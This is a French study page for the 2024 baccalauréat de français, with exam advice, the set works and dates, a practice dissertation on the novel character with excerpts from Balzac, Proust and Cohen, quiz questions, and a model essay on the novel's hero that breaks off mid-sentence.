Eh oui, c’est un conseil qui peut te surprendre ! Toute ta scolarité, tu as dû entendre qu’il fallait consacrer 10 minutes de ton temps à la relecture. Seulement, on ne va pas se mentir, après quatre heures d’épreuves, la relecture, c’est vraiment pour faire « genre » : mis à part quelques fautes d’orthographe et quelques virgules, ton cerveau déjà bien fatigué n’est pas très efficace. C’est pourquoi, on te conseille plutôt de relire ta copie après chaque nouvelle sous-partie. Autrement dit, relire ta copie toutes les 10/15 minutes. Effectivement, cette technique est très efficace puisqu’elle te permet à la fois de suivre le « fil conducteur de ta copie » et de prévenir le possible hors-sujet. Cette relecture « partie par partie » te permet de gagner en efficacité. 

Soigner ta présentation

C’est essentiel pour être bien perçu par ton correcteur. En effet, ce dernier a un grand nombre de copies à corriger, il fatigue et surtout prend peine à bien relire des copies disgracieuses (calligraphie, truffés de fautes d’orthographe, bourrés d’Astérix, etc.), alors facilite-le et il t’en sera reconnaissant. Garde en tête que ta présentation est le « Code de la route de ta copie », alors suis des indications stylistiques pour que le correcteur comprenne ta copie. Tu peux alors par exemple : 

  • Faire un alinéa (sauter deux ou trois carreaux) à chaque début de paragraphe ;
  • sauter une ligne entre chaque sous-parties ;
  • Sauter deux lignes entre chaque partie ; 
  • Aérer ta copie, etc.

Rester simple et concis

N’oublie pas que tu restes un élève de terminale. Tu n’es ni poète, ni journaliste et encore moins romancier. C’est pourquoi, on te conseille de ne pas te lancer dans des phrases trop longues et complexes. Reste simple et factuel. Faire des courtes phrases : sujet / verbe / complément. Évidemment, les fautes d’orthographe, de grammaire et de syntaxe sont aussi à bannir.

Bac français 2024 : les œuvres au programme

Maintenant que tu en sais un peu plus sur la dissertation sur le roman, laisse-nous te rappeler les œuvres au programme du bac de français 2024. En d’autres termes, les œuvres sur lesquelles tu devras plancher au mois de juin prochain. 

Cette année encore, 12 ouvrages sont au programme divisés en 4 objets d’étude d’instincts.

La poésie du XIXe siècle au XXIe siècle 

  • Rimbaud, Cahier de Douai (aussi connu sous les titres Cahiers de Douai, « Recueil Demeny »  ou Recueil de Douai ), 22 poèmes, de « Première soirée » à « Ma Bohème (Fantaisie) » / parcours : émancipations créatrices.
  • Ponge, La rage de l’expression / parcours : dans l’atelier du poète.
  • Hélène Dorion, Mes forêts / parcours : la poésie, la nature, l’intime.

Le roman et le récit du Moyen Âge au XXIe siècle

  • Abbé Prévost, Manon Lescaut / parcours : personnages en marge, plaisirs du romanesque.
  • Balzac, La Peau de chagrin / parcours : les romans de l’énergie : création et destruction.
  • Colette, Sido suivi de Les Vrilles de la vigne / parcours : la célébration du monde.

Le théâtre du XVIIe siècle au XXIe siècle

  • Molière, Le Malade imaginaire / parcours : spectacle et comédie.
  • Marivaux, Les Fausses Confidences / parcours : théâtre et stratagème.
  • Jean-Luc Lagarce, Juste la fin du monde / parcours : crise personnelle, crise familiale.

La littérature d’idées du XVIe siècle au XVIIIe siècle

  • Rabelais, Gargantua / parcours : rire et savoir.
  • La Bruyère, Les Caractères , livres V à X / parcours : la comédie sociale.
  • Olympe de Gouges, Déclaration des droits de la femme et de la citoyenne   (du « préambule » au « postambule ») / parcours : écrire et combattre pour l’égalité.

Lire aussi :  Bac français 2024 : les œuvres au programme

Calendrier 2024 : Les dates du bac de français

Tu veux connaître les dates des épreuves anticipées de Français cette année ? Eh bien figure-toi que tu es au bon endroit !  Voici un petit récapitulatif des dates importantes à retenir pour le bac de français en 2024 !

  • Épreuve écrite : vendredi 14 juin 2024 de 8h à 12h 
  • Épreuve orale : à partir du 24 juin jusqu’au 5 juillet.

Si tu ne connais pas encore la date exacte de ta convocation pour l’épreuve orale, ne t’inquiète pas. Tu devrais bientôt la recevoir ! Elle te précisera la date et le créneau horaire de ton passage.  Cependant, la situation est un peu différente comparé au Grand oral. pour ton épreuve oral, tu ne sais pas précisément à quelle heure tu es convoqué(e). On t’indiquera seulement si tu passes le matin ou l’après-midi, et le jour même, tu découvriras l’ordre de passage des candidats convoqués simultanément.

En d’autres termes, tu pourrais être appelé(e) le matin et ne passer qu’en troisième ou quatrième position, te faisant ainsi passer vers 11 heures après avoir attendu depuis 8 heures. C’est une réalité inévitable du baccalauréat de français, mais essaie de voir cela comme un avantage. Si tu passes en premier, tu en auras fini rapidement, et si tu passes en dernier, tu disposeras de plus de temps pour réviser tes fiches.

Lire aussi :  Les dates du bac de français 2024

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  • Préparer l'épreuve anticipée de français bac 2024
  • Travailler et préparer la séquence "roman" pour l'EAF 2022

Dissertations sur des oeuvres au programme de l'EAF 2022 = objet d'étude, le roman

Disserter sur une oeuvre intégrale bac 2024. 26 sujets corrigés. "le roman" : manon lescaut, la peau de chagrin, sido, mémoires de deux jeunes mariées, prévost manon lescaut, balzac la peau de chagrin, colette sido, les vrilles de la vigne, balzac mémoires de deux jeunes mariées, roman , l'abbé prévost, manon lescaut. parcours "personnages en marge, plaisirs du romanesque".

Le roman et le récit du Moyen Âge au XXIe siècle 

Œuvre : Manon Lescaut

Parcours : Personnages en marge, plaisirs du romanesque

Savoir disserter sur une oeuvre intégrale du programme bac séquence "roman"

8 sujets corrigés pour s'entrainer à disserter sur Manon Lescaut de l'abbé Prévost

Consulter les 8 sujets corrigés

parcours bac "la célébration du monde", Sido Colette suivi des Vrilles de la vigne

Œuvre : Colette, Sido et les Vrilles de la vigne

Parcours  : "La célébration du monde" 

Trois sujets intégralement corrigés, 3 sujets d'entraînement  et un corrigé en vidéo

Consulter les 7 sujets  

parcours bac "les romans de l'énergie : création et destruction" Balzac, La Peau de chagrin

Œuvre :  Balzac, La Peau de chagrin

Parcours  :  "les romans de l'énergie : création et destruction" 

Trois sujets intégralement corrigés et 3 sujets d'entraînement  + un corrigé en vidéo

parcours bac "Raison et sentiments", Balzac, Mémoires de deux jeunes mariées

Œuvre :  Balzac, Mémoires de deux jeunes mariées

Parcours  :  "Raison et sentiments"

2 sujets d'entraînement  sur Balzac, Mémoires de deux jeunes mariées

Consulter les 2 sujets 

Le programme du bac de français 2022

Œuvre : madame de lafayette, la princesse de clèves parcours : individu, morale et société.

Œuvre :  Madame de Lafayette, La Princesse de Clèves Parcours :  Individu, morale et société

5 sujets corrigés pour s'entrainer à disserter sur La Princesse de Clèves, La Fayette

Consulter les 5 sujets corrigés

Œuvre : Stendhal, Le Rouge et le Noir Parcours : Le personnage de roman : esthétique et valeurs

Œuvre :  Stendhal, Le Rouge et le Noir

Parcours :  Le personnage de roman : esthétique et valeurs

4 sujets corrigés pour s'entrainer à disserter sur Le Rouge et le Noir de Stendhal 

Consulter les 4 sujets corrigés

Marguerite Yourcenar : "Mémoires d'Hadrien"

Œuvre : Marguerite Yourcenar, Mémoires d’Hadrien

Parcours : Soi-même comme un autre

3 sujets corrigés pour s'entrainer à disserter sur Marguerite Yourcenar, Mémoires d’Hadrien

Consulter les 3 sujets corrigés

Pour travailler l'autobiographie

Séquence,"l'autobiographie" . Le fonctionnement de la mémoire et des souvenirs

Les différentes raisons qui peuvent amener à écrire un récit de vie.

Suffit-il de se souvenir pour écrire un récit autobiographique ?

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Date de dernière mise à jour : 04/08/2023

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Le personnage de roman et la connaissance du cœur humain Dissertation type bac

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Vous répondrez à cette question dans un développement argumenté en vous appuyant sur les textes qui vous sont proposés, ceux que vous avez étudiés en classe et vos lectures personnelles.

Dans quelle mesure le personnage de roman donne-t-il au lecteur un accès privilégié à la connaissance du cœur humain ?

Texte A : Honoré de Balzac, La Duchesse de Langeais , chapitre II

[Antoinette de Langeais a, pour satisfaire son orgueil, séduit Armand de Montriveau, héroïque général de l'armée de Bonaparte. Elle est parvenue à se l'attacher en le rendant fou d'amour pour elle. Mais parce qu'elle veut "posséder sans être possédée", elle refuse de s'offrir à lui. Un soir, le général se rend chez elle, décidé à la faire céder à son désir.]

– Si tu disais vrai hier, sois à moi, ma chère Antoinette, s'écria-t-il, je veux... – D'abord, dit-elle en le repoussant avec force et calme, lorsqu'elle le vit s'avancer, ne me compromettez pas. Ma femme de chambre pourrait vous entendre. Respectez-moi, je vous prie. Votre familiarité est très bonne, le soir, dans mon boudoir 1 ; mais ici 2 , point. Puis, que signifie votre je veux ? Je veux ! Personne ne m'a dit encore ce mot. Il me semble très ridicule, parfaitement ridicule. – Vous ne me céderiez rien sur ce point ? dit-il. – Ah ! Vous nommez un point, la libre disposition de nous-mêmes : un point très capital, en effet ; et vous me permettrez d'être, en ce point, tout à fait la maîtresse. – Et si, me fiant en vos promesses, je l'exigeais ? – Ah ! Vous me prouveriez que j'aurais eu le plus grand tort de vous faire la plus légère promesse, je ne serais pas assez sotte pour la tenir, et je vous prierais de me laisser tranquille. Montriveau pâlit, voulut s'élancer ; la duchesse sonna, sa femme de chambre parut, et cette femme lui dit en souriant avec une grâce moqueuse : – Ayez la bonté de revenir quand je serai visible 3 . Armand de Montriveau sentit alors la dureté de cette femme froide et tranchante autant que l'acier, elle était écrasante de mépris. En un moment, elle avait brisé des liens qui n'étaient forts que pour son amant. La duchesse avait lu sur le front d'Armand les exigences secrètes de cette visite, et avait jugé que l'instant était venu de faire sentir à ce soldat impérial que les duchesses pouvaient bien se prêter à l'amour, mais ne s'y donnaient pas, et que leur conquête était plus difficile à faire que ne l'avait été celle de l'Europe. – Madame, dit Armand, je n'ai pas le temps d'attendre. Je suis, vous l'avez dit vous-même, un enfant gâté. Quand je voudrai sérieusement ce dont nous parlions tout à l'heure, je l'aurai. – Vous l'aurez ? dit-elle d'un air de hauteur auquel se mêla quelque surprise. – Je l'aurai. – Ah ! Vous me feriez bien plaisir de le vouloir. Pour la curiosité du fait, je serais charmée de savoir comment vous vous y prendriez... – Je suis enchanté, répondit Montriveau en riant de façon à effrayer la duchesse, de mettre un intérêt dans votre existence. Me permettrez-vous de venir vous chercher pour aller au bal ce soir ? – Je vous rends mille grâces, monsieur de Marsay vous a prévenu 4 , j'ai promis. Montriveau salua gravement et se retira. – Ronquerolles 5 a donc raison, pensa-t-il, nous allons jouer maintenant une partie d'échecs.

1 Petit salon élégant de dame 2 Montriveau a fait irruption, sans se faire annoncer, dans la chambre à coucher de la duchesse. 3 Quand je vous y autoriserai 4 M'a déjà proposé de venir me chercher 5 Le marquis de Ronquerolles est un "galant", un homme à femmes. C'est lui qui a encouragé Montriveau à se montrer plus exigeant vis-à-vis de la duchesse de Langeais.

Texte B : Marcel Proust, La Prisonnière

Albertine est la compagne du narrateur qui, par jalousie, la surveille constamment.

D'Albertine, en revanche, je n'avais plus rien à apprendre. Chaque jour, elle me semblait moins jolie. Seul le désir qu'elle excitait chez les autres, quand l'apprenant, je recommençais à souffrir et voulais la leur disputer, la hissait à mes yeux sur un haut pavois 1 . Elle était capable de me causer de la souffrance, nullement de la joie. Par la souffrance seule, subsistait mon ennuyeux attachement. Dès qu'elle disparaissait, et avec elle le besoin de l'apaiser, requérant toute mon attention comme une distraction atroce, je sentais le néant qu'elle était pour moi, que je devais être pour elle. J'étais malheureux que cet état durât et, par moments, je souhaitais d'apprendre quelque chose d'épouvantable qu'elle aurait fait, et qui eût été capable, jusqu'à ce que je fusse guéri, de nous brouiller, ce qui nous permettrait de nous réconcilier, de refaire différente et plus souple la chaîne qui nous liait. En attendant, je chargeais mille circonstances, mille plaisirs, de lui procurer auprès de moi l'illusion de ce bonheur que je ne me sentais pas capable de lui donner. J'aurais voulu, dès ma guérison, partir pour Venise ; mais comment le faire, si j'épousais Albertine, moi, si jaloux d'elle que, même à Paris, dès que je me décidais à bouger c'était pour sortir avec elle ? Même quand je restais à la maison tout l'après-midi, ma pensée la suivait dans sa promenade, décrivait un horizon lointain, bleuâtre, engendrait autour du centre que j'étais une zone mobile d'incertitude et de vague.

1 Au premier rang ; sur un piédestal

Texte C : Albert Cohen, Belle du Seigneur , chapitre LXXXVII

[Ariane a quitté son mari, un homme médiocre, pour vivre le grand amour avec Solal. Exclus de la bonne société, les amants se sont retirés dans un luxueux hôtel de la Côte d'Azur. Une nouvelle journée commence.]

Resté seul, il soupira 1 . Il la voyait nue chaque jour, et elle croyait devoir le vouvoyer. La pauvre, elle se voulait une amante idéale, faisait de son mieux pour conserver un climat de passion. Enfin, elle était allée s'habiller, bonne affaire. Dix minutes d'irresponsabilité. Toujours bon à prendre. Oui, mais lorsqu'elle reviendrait, elle poserait la question fatidique 2 , épée de Damoclès 3 , lui demanderait quels étaient les projets pour l'après-midi, après l'équitation. Quels nouveaux plaisirs inventer pour camoufler leur solitude ? Il n'y en avait pas de nouveaux. Toujours les mêmes substituts du social 4 , les mêmes pauvres bonheurs à la portée des bannis, les théâtres, les cinémas, les roulettes de casinos, les courses de chevaux, les tirs aux pigeons, les thés dansants, les achats de robes, les cadeaux. Et toujours, à la fin de ces expéditions à Cannes, à Nice, à Monte-Carlo, c'était le dîner raffiné cafardeux, et il fallait parler, trouver de nouveaux sujets, et il n'y en avait plus. Tous les sujets d'Ariane, il les connaissait, savait par cœur l'âme d'élite de la chatte Mousson, la personnalité charmante de la chouette Magali, et tous les redoutables souvenirs d'enfance, le petit chant qu'elle avait inventé, et le rythme de la gouttière, et les gouttes tombant sur la tente de toile orange, et les expéditions à Annemasse pour voir les catholiques, et les déclamations au grenier avec sa sœur, et tout le reste, toujours avec les mêmes mots. On ne pouvait tout de même pas rabâcher ça éternellement. Alors quoi ? Alors, on commentait les dîneurs. Eh oui, ne fréquentant plus personne et ne pouvant plus commenter des amis, agréable occupation des sociaux, ni parler d'une activité quelconque, puisque ignominieusement chassé 5 comme avait dit la Forbes 6 , il fallait tout de même nourrir la conversation puisqu'on était des mammifères amoureux à langage articulé. Alors voilà, on commentait des dîneurs inconnus, on tâchait de deviner leur profession, leur caractère, leurs sentiments réciproques. Tristes passe-temps des solitaires, espions et psychologues malgré eux. Et quand on avait fini l'exégèse 7 de ces inconnus désirables, inaccessibles et méprisés, il fallait trouver autre chose. Alors on discutait de la robe achetée ou des personnages des romans qu'elle lui lisait le soir. S'apercevait-elle de leur tragédie ? Non, elle était une femme bien, ferme en son propos d'amour. Mais aujourd'hui, pas le courage de la bourrer de substituts. Tant pis, pas de Cannes, lui faire le coup de la migraine et aller remuer en paix ses orteils chez lui jusqu'à l'heure du dîner. Non, impossible de la laisser se morfondre toute seule dans sa chambre. Mais que lui dire tout à l'heure lorsqu'elle rappliquerait noblement, aimante et parfumée, si pleine de bonne volonté ? Rien à lui dire. Oh, être un facteur et lui raconter sa tournée ! Oh, être un gendarme et lui raconter un passage à tabac ! Voilà qui était du vivant, du vrai, du solide. Ou encore la voir s'animer parce qu'on était invités ce soir par un sous-brigadier ou un sur-facteur. Oh, si la tendresse pouvait suffire à contenter une femme ! Mais non, il avait été engagé pour de la passion. Lui faire des enfants pour lui donner un but en dehors de lui, et un passe-temps aussi ? Mais non, les enfants supposaient mariage et le mariage supposait vie dans le social. Or, il était un banni, un hors caste. De toute façon, ils ne pouvaient pas se marier puisqu'elle avait déjà un mari. Et puis quoi, elle avait tout abandonné pour une vie merveilleuse, et non pour pondre. Il ne lui restait plus qu'à être un héros passionnel.

1 Il s'agit de Solal. 2 Qui marque une intervention du destin. 3 Danger qui peut s'abattre sur quelqu'un d'un instant à l'autre. 4 Des relations sociales 5 Solal a perdu son poste à la SDN (Société des Nations, ancêtre de l'ONU) parce qu'il est juif (l'intrigue se déroule dans les années 30). 6 Mrs Forbes est une connaissance d'Ariane et de Solal. 7 L'étude, l'analyse

– Si tu disais vrai hier, sois à moi, ma chère Antoinette, s'écriat- il, je veux... – D'abord, dit-elle en le repoussant avec force et calme, lorsqu'elle le vit s'avancer, ne me compromettez pas. Ma femme de chambre pourrait vous entendre. Respectez-moi, je vous prie. Votre familiarité est très bonne, le soir, dans mon boudoir 1 ; mais ici 2 , point. Puis, que signifie votre je veux ? Je veux ! Personne ne m'a dit encore ce mot. Il me semble très ridicule, parfaitement ridicule. – Vous ne me céderiez rien sur ce point ? dit-il. – Ah ! Vous nommez un point, la libre disposition de nous-mêmes : un point très capital, en effet ; et vous me permettrez d'être, en ce point, tout à fait la maîtresse. – Et si, me fiant en vos promesses, je l'exigeais ? – Ah ! Vous me prouveriez que j'aurais eu le plus grand tort de vous faire la plus légère promesse, je ne serais pas assez sotte pour la tenir, et je vous prierais de me laisser tranquille. Montriveau pâlit, voulut s'élancer ; la duchesse sonna, sa femme de chambre parut, et cette femme lui dit en souriant avec une grâce moqueuse : – Ayez la bonté de revenir quand je serai visible 3 . Armand de Montriveau sentit alors la dureté de cette femme froide et tranchante autant que l'acier, elle était écrasante de mépris. En un moment, elle avait brisé des liens qui n'étaient forts que pour son amant. La duchesse avait lu sur le front d'Armand les exigences secrètes de cette visite, et avait jugé que l'instant était venu de faire sentir à ce soldat impérial que les duchesses pouvaient bien se prêter à l'amour, mais ne s'y donnaient pas, et que leur conquête était plus difficile à faire que ne l'avait été celle de l'Europe. – Madame, dit Armand, je n'ai pas le temps d'attendre. Je suis, vous l'avez dit vous-même, un enfant gâté. Quand je voudrai sérieusement ce dont nous parlions tout à l'heure, je l'aurai. – Vous l'aurez ? dit-elle d'un air de hauteur auquel se mêla quelque surprise. – Je l'aurai. – Ah ! Vous me feriez bien plaisir de le vouloir. Pour la curiosité du fait, je serais charmée de savoir comment vous vous y prendriez... – Je suis enchanté, répondit Montriveau en riant de façon à effrayer la duchesse, de mettre un intérêt dans votre existence. Me permettrez-vous de venir vous chercher pour aller au bal ce soir ? – Je vous rends mille grâces, monsieur de Marsay vous a prévenu 4 , j'ai promis. Montriveau salua gravement et se retira. – Ronquerolles 5 a donc raison, pensa-t-il, nous allons jouer maintenant une partie d'échecs.

Le narrateur est omniscient.

Le narrateur est un personnage de l'histoire.

Le narrateur est incertain.

Il n'y a pas de narrateur.

Quelle est la particularité du texte suivant ?

Albertine est la compagne du narrateur qui, par jalousie, la surveille constamment. D'Albertine, en revanche, je n'avais plus rien à apprendre. Chaque jour, elle me semblait moins jolie. Seul le désir qu'elle excitait chez les autres, quand l'apprenant, je recommençais à souffrir et voulais la leur disputer, la hissait à mes yeux sur un haut pavois 1 . Elle était capable de me causer de la souffrance, nullement de la joie. Par la souffrance seule, subsistait mon ennuyeux attachement. Dès qu'elle disparaissait, et avec elle le besoin de l'apaiser, requérant toute mon attention comme une distraction atroce, je sentais le néant qu'elle était pour moi, que je devais être pour elle. J'étais malheureux que cet état durât et, par moments, je souhaitais d'apprendre quelque chose d'épouvantable qu'elle aurait fait, et qui eût été capable, jusqu'à ce que je fusse guéri, de nous brouiller, ce qui nous permettrait de nous réconcilier, de refaire différente et plus souple la chaîne qui nous liait. En attendant, je chargeais mille circonstances, mille plaisirs, de lui procurer auprès de moi l'illusion de ce bonheur que je ne me sentais pas capable de lui donner. J'aurais voulu, dès ma guérison, partir pour Venise ; mais comment le faire, si j'épousais Albertine, moi, si jaloux d'elle que, même à Paris, dès que je me décidais à bouger c'était pour sortir avec elle ? Même quand je restais à la maison tout l'après-midi, ma pensée la suivait dans sa promenade, décrivait un horizon lointain, bleuâtre, engendrait autour du centre que j'étais une zone mobile d'incertitude et de vague.

Le héros est parfait.

Narrateur et personnage principal ne font qu'un.

Le texte est étrange.

C'est une fausse description.

À quel courant littéraire appartiennent les auteurs qui rejettent la psychologie du personnage ?

Au naturalisme

Au réalisme

Au Nouveau Roman

Au romantisme

En France, quel est le premier roman considéré comme psychologique ?

Le Rouge et le Noir

La Bête humaine

Lancelot ou le Chevalier à la charrette

La Princesse de Clèves

Quel mouvement littéraire insiste sur le développement de la psychologie du personnage ?

Le symbolisme

L'Art pour l'Art

Le Nouveau Roman

Le romantisme

Quel plan permet de répondre à cette problématique ?

I. Le roman, un accès aux pensées du personnage II. Le roman, un accès aux sentiments du personnage III. Les limites romanesques de la connaissance du cœur humain

I. Le roman, un accès aux pensées du personnage II. Le théâtre, un accès aux pensées du personnage III. Les limites littéraires de la connaissance du cœur humain

I. L'utilisation du discours indirect dans le roman II. Les sentiments du personnage de roman III. L'accès aux pensées du personnage de roman

I. Le roman et le personnage II. L'écrivain et le personnage III. Le lecteur et le personnage

Le personnage de roman : héros ou antihéros ?

Sujet de dissertation:  Attendez-vous du personnage principal d’un roman qu’il soit un héros ?

Le roman , à l’origine, fut « héroïque » ; de là, peut-être, le glissement de sens opéré par le mot « héros»: le héros d’un roman, comme d’une pièce de théâtre, puis d’un film, c’est le personnage principal, celui par qui existe l’intrigue, celui qui est au cœur du « nœud » que tranchera le dénouement. Le « héros » pour autant, est-il toujours « héroïque » ? La réponse est facile, a priori : c’est non. Chaque lecteur a dans la tête des personnages romanesques dont le comportement est bien peu héroïque, plutôt médiocre, banal, plus proche du nôtre aussi peut-être... Mais que préférons- nous vivre quand nous lisons un roman ? À quel personnage souhaitons-nous, le cas échéant, nous identifier ? Plus simplement, qu’est-ce qui nous pousse à ouvrir ces livres classés, parfois un peu vite, dans la catégorie « roman » ? Souvent, c’est vrai, nous y cherchons des personnages attachants — un personnage principal que nous suivrons dans un épisode, plus ou moins long, de sa vie imaginaire, réelle ou rêvée. Attendons-nous de lui qu’il soit un vrai « héros » ? C’est ce que nous verrons d’abord. Mais est-ce toujours notre seule attente ? Ne souhaitons-nous pas parfois des person­nages plus proches de nous, plus « humains » ? Le personnage, enfin, est-il notre seule préoccupation ? Pourquoi y aurait-il tou­jours un personnage d’ailleurs ?

I – Le personnage principal est d’abord «un héros»

Retrouver, dans ses lectures, un « héros » : n’est-ce pas là le rêve de l’enfant — et de tout lecteur potentiel resté un tant soit peu enfant ; vibrer à des aventures merveilleuses, s’identifier naïvement au personnage principal doté de toutes les qualités : mâle vertu, dévouement, sagesse parfois, esprit de décision, rare courage, et ce, sans la moindre distance critique. Tels furent peut-être, aux âges dits héroïques, les premiers lecteurs, ou auditeurs, de ce qui n’était pas encore nommément des romans. Si j’ouvre aujourd’hui l’Odyssée , c’est certes pour retrouver le parfum du passé, les épi- thètes homériques, toute une civilisation défunte, c’est aussi, pour l’enfant qu’on est resté, retrouver avec plaisir ce héros magnifique, Ulysse, archétype probable du « héros » romanesque, traversant, au péril de sa vie, maints épisodes étonnants : cyclope, sirènes, nau­frages, tentations charnelles, pour retrouver, au bout du voyage, la merveilleuse Pénélope. Tout lecteur de l’Odyssée « attend » cet héroïsme, les inventions d’Ulysse, ses ruses, son intelligence, sa curiosité ; à travers lui, il part à la conquête de mondes inconnus, et acquiert la connaissance. Héros exemplaire, point trop haut ni divin, il est notre frère, rêvé, presque parfait, notre idéal destin : après de hauts dangers encourus, le retour au pays natal, certes difficultueux, mais finalement heureux avec la femme qui attend, paix et bonheur reconquis. C’est encore et toujours cette sorte de plaisir que j’attends en ouvrant les vieux romans français, comme l’Islandais parcourant les antiques sagas... Redécouvrir les vertus perdues de l’héroïsme, les moments d’un passé révolu : ainsi Roland, défendant seul contre tous, à Roncevaux, la chrétienté un moment menacée par la traîtrise de quelques-uns. Ici, — limite imprécise entre roman et épopée — tout est « plus grand que nature ». Des géants s’affrontent : le coup d’épée de Roland coupe en deux Sarrazin, cheval, rocher voisin... Qui niera le plaisir, ici encore, du lecteur devant l’exploit d’un seul ?

Plus subtils sont les plaisirs du lecteur d’aujourd’hui à lire les vieux « romans » — ceux-là en sont vraiment — du premier vrai romancier français : Chrétien de Troyes. Qu’attendre d’autre du personnage central que son statut et son parcours de héros ? Dans le Chevalier à la charrette, Lancelot est le héros tant attendu. Courageux, noble, généreux, amoureux, il fait tout pour la femme aimée (il commet aussi l’adultère ! — autre forme d’héroïsme...) ; il va même au bout de la honte en montant, par amour, sur la charrette d’infamie (celle du titre) réservée aux criminels qu’on exhibe aux populations. Pour retrouver aussi la femme qu’il aime, Yvain, le Chevalier au lion, se met au service des autres, des faibles, des veuves, de toutes celles ou de ceux qui ont besoin de protecteurs. Il libère même des femmes esclaves dans une drôle de demeure enchantée par le Diable, annonciatrice de  certaines usines du XIXe siècle.... Quel bonheur de regarder ces héros, voire de s’y identifier; certes, ils ont des «faiblesses», mais qui nous les rendent plus proches : il n’y a pas de héros vraiment parfait (si Lancelot n’aimait pas la femme de son roi, nous intéresserait-il d’ailleurs ?) — mais des personnages qui nous aident à sortir de notre grisaille, tels, plus modernes, D’Artagnan des Trois mousquetaires — ou, un cran — littéraire — en-dessous, les héros de Zévaco — Pardaillan — et de Féval — le Bossu (Lagardère)... dont le cinéma s’emparera tout naturellement.

Un peu perdus de vue aujourd’hui, ces héros ? Certes, le roman « sérieux » n’en est plus guère friand. En revanche, le roman de « gare » les utilise encore, ou certaines œuvres dites « policières » (détective infaillible, etc.) — ou ces ouvrages qui firent naguère fortune : ces livres dont vous êtes le héros, où, enfin le lecteur était censé devenir le personnage principal, héroïque tout naturellement ; mais cela concerne davantage le jeu vidéo que la littérature romanesque proprement dite...

Certaines œuvres enfin nous proposent encore des « héros », mais plus nuancés — ou des «héroïnes», plus rares (les romanciers seraient-ils misogynes ?) — telle la princesse de Clèves par exemple, dont l’héroïsme consiste — et il est authentique — à renoncer, après même son veuvage, à l’homme qu’elle aime (et qui l’aime), le duc de Nemours, parce qu’elle le sent obscurément responsable de la mort de son mari, ou, plus subtilement, qu’elle craint les faiblesses de l’amour humain. Le héros ici — comme chez Hugo par exemple, Jean Valjean ou Gwynplaine (L’homme qui rit) — connaît des faiblesses, des doutes, mais qu’il sait transcender. Le héros, c’est aussi celui, ou celle, qui peut se dépasser lui-même, devenir « autre » par un effort de volonté ; c’est souvent à ce genre de métamorphose (du démon à l’ange : les Misérables) que le romancier nous permet d’assister, nous ouvrant les portes de l’espérance. L’héroïsme en quelque sorte y devient plus concret — sauver une Cosette des griffes d’immondes Thénardier —, plus proche de nous. Le héros en nous, qui sommeille, peut se réveiller à ce contact : chacun d’entre nous ne peut-il, au moins dans un domaine, devenir un héros ? Nul par ailleurs, le père Goriot, chez Balzac, devient une sorte de héros de la Paternité. Personnage médiocre (profession : vermicellier), pour ses filles, il tord, geste surhumain, des couverts en vermeil pour les fondre en matière brute et monnayable...

Plus pernicieuses enfin, d’autres formes d’héroïsme nous attendent : ces héros du mal qui, pas seulement chez le marquis de Sade, parcourent la littérature romanesque; citons seulement, dans les Liaisons dangereuses , de Laclos — Valmont le «héros» (ici les guillemets s’imposent d’emblée) ou la Merteuil, l’«héroïne» — dont l’héroïsme consiste à pervertir l’innocence, à séduire, cor rompre, par pur plaisir, ou par jouissance de détruire, ou par pur amour du libertinage, ou pure volonté de puissance : deux héros blafards, emblèmes pathétiques d’une société qui se décompose, d’une classe sociale qu’un prochain séisme (la Révolution) va engloutir... Le héros n’est donc pas au service exclusif du Bien ; au lieu de défendre les orphelines, il peut les violer brutalement ; il peut tuer, tromper ; il peut être, — autre face de nous-mêmes ? — Satan... il n’en demeure pas moins exceptionnel, hors norme, au-dessus de nous, malgré les traits — tristement ou noblement humains — qui les animent aussi. Certains romans, et nous les attendons aussi, nous proposent des gens plus simples.

II- Des personnages peu héroïques

La littérature romanesque est en effet parsemée de personnages dont le comportement est souvent peu «héroïque». Dira- t-on par exemple du chevalier Des Grieux qu’il est un « héros » au sens premier du terme, lui qui ne sait résister aux attraits pervers de la très amorale, mais délicieuse il est vrai, Manon Lescaut ? Est- il héroïque celui qui tue, vole, triche, pour sauver la femme de sa vie ? Le vrai héros du roman de l’abbé Prévost serait plutôt Tiberge, l’ami fidèle qui l’encourage à renoncer aux biens de ce monde. Mais Tiberge est sinistre, et tout lecteur, même raisonnable, a tôt fait de comprendre que Manon vaut bien tout ce que fait, pour elle, son beau chevalier...

Encore ici peut-on parler d’exploit — si on peut appeler ainsi, par exemple, faire évader sa belle d’une prison en tuant un gardien. Des Grieux est de toute façon « au-dessus » du lecteur moyen ; il nous domine, pas seulement socialement, mais en « héroïsme » de la perdition ; qui oserait accompagner sa Manon dans le terrible convoi de déportation de prostituées en Louisiane ? Plus proches, plus « égaux », sont les personnages de certains grands romans du XIXe siècle ; ils nous attirent néanmoins par un certain prestige : Julien Sorel n’est pas un « héros » — nul héroïsme dans la tentative d’assassiner une femme — ni Fabrice del Dongo à Waterloo (d’ailleurs Stendhal l’écrit, jouant avec humour sur les deux sens du mot : « notre héros était fort peu héros en ce moment »... manière de montrer que le personnage de roman peut être, pour le romancier, autre chose qu’un « héros ») — cela ne nous empêche nullement (au contraire ?) de nous attacher à eux et de les retrouver  avec plaisir, à chaque relecture. Projection, certes modifiée, voire embellie ou idéalisée, de leur créateur, le romancier, ils sont aussi, par-là même, la nôtre, des frères de papier plus proches de nous souvent que les frères «de sang»... Encore ceux-ci peuvent-ils toujours nous faire rêver, car ils vivent autre chose — Waterloo ou guillotine ! — que nous, modestes lecteurs...

Mais d’autres romanciers propulsent comme personnage principal des gens tout ordinaires : modestes employés de bureau (Maupassant), petits commerçants étriqués et mesquins, sans rien d’héroïque (ou, s’ils le sont, c’est involontaire : tels ces médiocres personnages de Maupassant toujours, pris à tort pour des espions par l’occupant allemand et fusillés en «héros» malgré eux...) — tels sont, par exemple, les personnages principaux d’ Une vie de Maupassant — Jeanne, archétype de la femme du XIXe siècle, mal éduquée par ses parents, bafouée par son mari, déçue par un fils trop aimé, préférant se réfugier dans le passé que d’affronter un présent trop pénible — ou de Bouvard et Pécuchet de Flaubert, où là, toute velléité d’héroïsme disparaît, personnages à peine mis en relief par le romancier qui au contraire accentue, si l’on peut dire, leur grisaille et leur inépuisable médiocrité. Mais le roman qui représente le mieux le livre sans « héros » (ou héroïne) est bien entendu Madame Bovary , puisqu’en outre, ici, le romancier y ironise sur les autres romans et les personnages, eux, héroïques, de ces-dits romans que la chère Bovary dévora quand elle s’appelait Rouault, au couvent. Et Flaubert de nous dire, avec sarcasme, que tout lecteur — vous ou moi, précise-t-il — qui se complaît à chercher ce genre de littérature et à attendre du personnage principal qu’il soit un héros, est, sinon un parfait crétin, du moins un malheureux humain condamné à mener plus tard une existence médiocre, car, hélas, la vie n’est pas un roman. Erreur fatale de la pauvre Emma qui 